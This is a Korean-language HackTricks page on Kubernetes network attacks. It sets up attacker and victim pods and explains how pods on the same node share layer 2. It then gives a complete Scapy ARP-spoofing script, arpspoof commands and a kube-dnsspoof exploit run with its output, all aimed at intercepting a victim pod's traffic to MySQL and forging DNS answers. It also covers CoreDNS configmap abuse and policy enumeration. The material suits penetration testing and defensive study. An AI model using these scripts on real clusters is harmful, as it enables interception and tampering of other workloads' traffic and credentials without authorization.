Kubernetes Network Attacks
Reading time: 9 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Introduction
Kubernetes에서는 기본 동작이 같은 노드에 있는 모든 컨테이너 간의 연결을 허용하는 것으로 관찰됩니다. 이는 네임스페이스 구분에 관계없이 적용됩니다. 이러한 연결은 Layer 2 (이더넷)까지 확장됩니다. 결과적으로, 이 구성은 시스템을 취약점에 노출시킬 가능성이 있습니다. 특히, 악의적인 컨테이너가 같은 노드에 위치한 다른 컨테이너에 대해 ARP 스푸핑 공격을 실행할 수 있는 가능성을 열어줍니다. 이러한 공격 중에 악의적인 컨테이너는 다른 컨테이너를 위한 네트워크 트래픽을 속여 가로채거나 수정할 수 있습니다.
ARP 스푸핑 공격은 공격자가 지역 네트워크를 통해 위조된 ARP (주소 확인 프로토콜) 메시지를 전송하는 것을 포함합니다. 이로 인해 공격자의 MAC 주소가 네트워크의 합법적인 컴퓨터 또는 서버의 IP 주소와 연결됩니다. 이러한 공격이 성공적으로 실행된 후, 공격자는 전송 중인 데이터를 가로채거나 수정하거나 심지어 중단할 수 있습니다. 이 공격은 OSI 모델의 Layer 2에서 실행되므로, Kubernetes에서 이 레이어의 기본 연결이 보안 문제를 일으킬 수 있습니다.
4대의 머신이 생성될 시나리오는 다음과 같습니다:
- ubuntu-pe: 노드로 탈출하고 메트릭을 확인하기 위한 권한 있는 머신 (공격에 필요하지 않음)
- ubuntu-attack: 기본 네임스페이스의 악의적인 컨테이너
- ubuntu-victim: kube-system 네임스페이스의 희생자 머신
- mysql: 기본 네임스페이스의 희생자 머신
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
기본 Kubernetes 네트워킹
여기서 소개된 네트워킹 주제에 대한 자세한 내용은 참조를 확인하세요.
ARP
일반적으로 노드 내의 pod 간 네트워킹은 모든 pod를 연결하는 브리지를 통해 가능합니다. 이 브리지는 “cbr0”라고 불립니다. (일부 네트워크 플러그인은 자체 브리지를 설치합니다.) cbr0는 ARP (주소 확인 프로토콜) 해상도도 처리할 수 있습니다. cbr0에 수신 패킷이 도착하면 ARP를 사용하여 목적지 MAC 주소를 확인할 수 있습니다.
이 사실은 기본적으로 같은 노드에서 실행되는 모든 pod가 같은 노드의 다른 pod와 통신할 수 있음을 의미합니다 (네임스페이스와 관계없이) 이더넷 수준(계층 2)에서.
warning
따라서, 같은 노드의 pod 간에 ARP 스푸핑 공격을 수행할 수 있습니다.
DNS
Kubernetes 환경에서는 일반적으로 kube-system 네임스페이스에서 1개(또는 그 이상)의 DNS 서비스가 실행되고 있는 것을 찾을 수 있습니다:
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
IP: 10.96.0.10
IPs: 10.96.0.10
Port: dns 53/UDP
TargetPort: 53/UDP
Endpoints: 172.17.0.2:53
Port: dns-tcp 53/TCP
TargetPort: 53/TCP
Endpoints: 172.17.0.2:53
Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
이전 정보에서 흥미로운 점을 볼 수 있습니다. 서비스의 IP는 10.96.0.10이지만 서비스를 실행하는 포드의 IP는 172.17.0.2입니다.
어떤 포드 안에서 DNS 주소를 확인하면 다음과 같은 내용을 찾을 수 있습니다:
cat /etc/resolv.conf
nameserver 10.96.0.10
그러나 pod는 해당 주소에 접근하는 방법을 모릅니다. 이 경우 pod 범위는 172.17.0.10/26입니다.
따라서 pod는 10.96.0.10 주소로 DNS 요청을 보낼 것입니다, 이는 cbr0에 의해 172.17.0.2로 변환됩니다.
warning
이는 pod의 DNS 요청이 항상 브리지를 통해 서비스 IP를 엔드포인트 IP로 변환하기 위해 간다는 것을 의미합니다. DNS 서버가 pod와 동일한 서브네트워크에 있더라도 말입니다.
이를 알고, ARP 공격이 가능하다는 것을 알면, 노드의 pod는 서브네트워크 내의 각 pod와 브리지 간의 트래픽을 가로챌 수 있으며, DNS 서버로부터의 DNS 응답을 수정할 수 있습니다 (DNS 스푸핑).
게다가, DNS 서버가 공격자와 동일한 노드에 있다면, 공격자는 클러스터 내의 어떤 pod의 모든 DNS 요청을 가로챌 수 있으며 (DNS 서버와 브리지 간), 응답을 수정할 수 있습니다.
동일 노드의 pods에서 ARP 스푸핑
우리의 목표는 ubuntu-victim에서 mysql로의 통신을 최소한 훔치는 것입니다.
Scapy
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses
# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0
# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
ARPSpoof
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
DNS Spoofing
이미 언급했듯이, 만약 당신이 DNS 서버 포드와 같은 노드에 있는 포드를 손상시키면, 당신은 MitM을 ARPSpoofing을 사용하여 브리지와 DNS 포드와 함께 모든 DNS 응답을 수정할 수 있습니다.
당신은 https://github.com/danielsagi/kube-dnsspoof/에서 이를 테스트할 수 있는 정말 멋진 도구와 튜토리얼을 가지고 있습니다.
우리의 시나리오에서는, 공격자 포드에 도구를 다운로드하고 스푸핑하려는 도메인으로 hosts
라는 이름의 파일을 생성합니다:
cat hosts
google.com. 1.1.1.1
우분투-희생자 머신에 공격을 수행하십시오:
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
note
만약 당신이 자신의 DNS 스푸핑 스크립트를 만들려고 한다면, DNS 응답만 수정하는 것은 작동하지 않을 것입니다, 왜냐하면 응답은 악성 pod의 IP 주소인 src IP를 가질 것이고 수용되지 않을 것입니다.
당신은 피해자가 DNS 요청을 보낸 DNS의 src IP로 새 DNS 패킷을 생성해야 합니다 (이는 172.16.0.2와 같은 것이며, 10.96.0.10은 K8s DNS 서비스 IP이고 DNS 서버 IP가 아닙니다. 이에 대한 자세한 내용은 소개에서 다룹니다).
coreDNS configmap을 통한 DNS 스푸핑
kube-system 네임스페이스의 configmap coredns
에 대한 쓰기 권한이 있는 사용자는 클러스터의 DNS 응답을 수정할 수 있습니다.
이 공격에 대한 더 많은 정보는 다음에서 확인하세요:
{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}
노출된 쿠버네티스 관리 서비스 악용
Apache NiFi, Kubeflow, Argo Workflows, Weave Scope 및 Kubernetes 대시보드와 같은 서비스는 종종 인터넷이나 쿠버네티스 네트워크 내에 노출됩니다. 쿠버네티스를 관리하는 데 사용되는 플랫폼을 찾아내고 접근할 수 있는 공격자는 이를 악용하여 쿠버네티스 API에 접근하고 새로운 pods를 생성하거나 기존 ones를 수정하거나 심지어 삭제하는 등의 작업을 수행할 수 있습니다.
쿠버네티스 네트워크 정책 열거
구성된 networkpolicies 가져오기:
kubectl get networkpolicies --all-namespaces
Callico 네트워크 정책 가져오기:
kubectl get globalnetworkpolicy --all-namespaces
Cillium 네트워크 정책 가져오기:
kubectl get ciliumnetworkpolicy --all-namespaces
네트워크 플러그인 또는 보안 솔루션에 의해 설치된 다른 정책 관련 CRD를 가져옵니다:
kubectl get crd | grep -i policy
트래픽 캡처
도구 Mizu는 Kubernetes를 위한 간단하면서도 강력한 API 트래픽 뷰어로, 마이크로서비스 간의 모든 API 통신을 볼 수 있게 하여 디버깅 및 회귀 문제 해결에 도움을 줍니다.
선택한 파드에 에이전트를 설치하고 그들의 트래픽 정보를 수집하여 웹 서버에 표시합니다. 그러나 이를 위해서는 높은 K8s 권한이 필요하며 (그리고 그리 은밀하지 않습니다).
참고자료
- https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1
- https://blog.aquasec.com/dns-spoofing-kubernetes-clusters
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.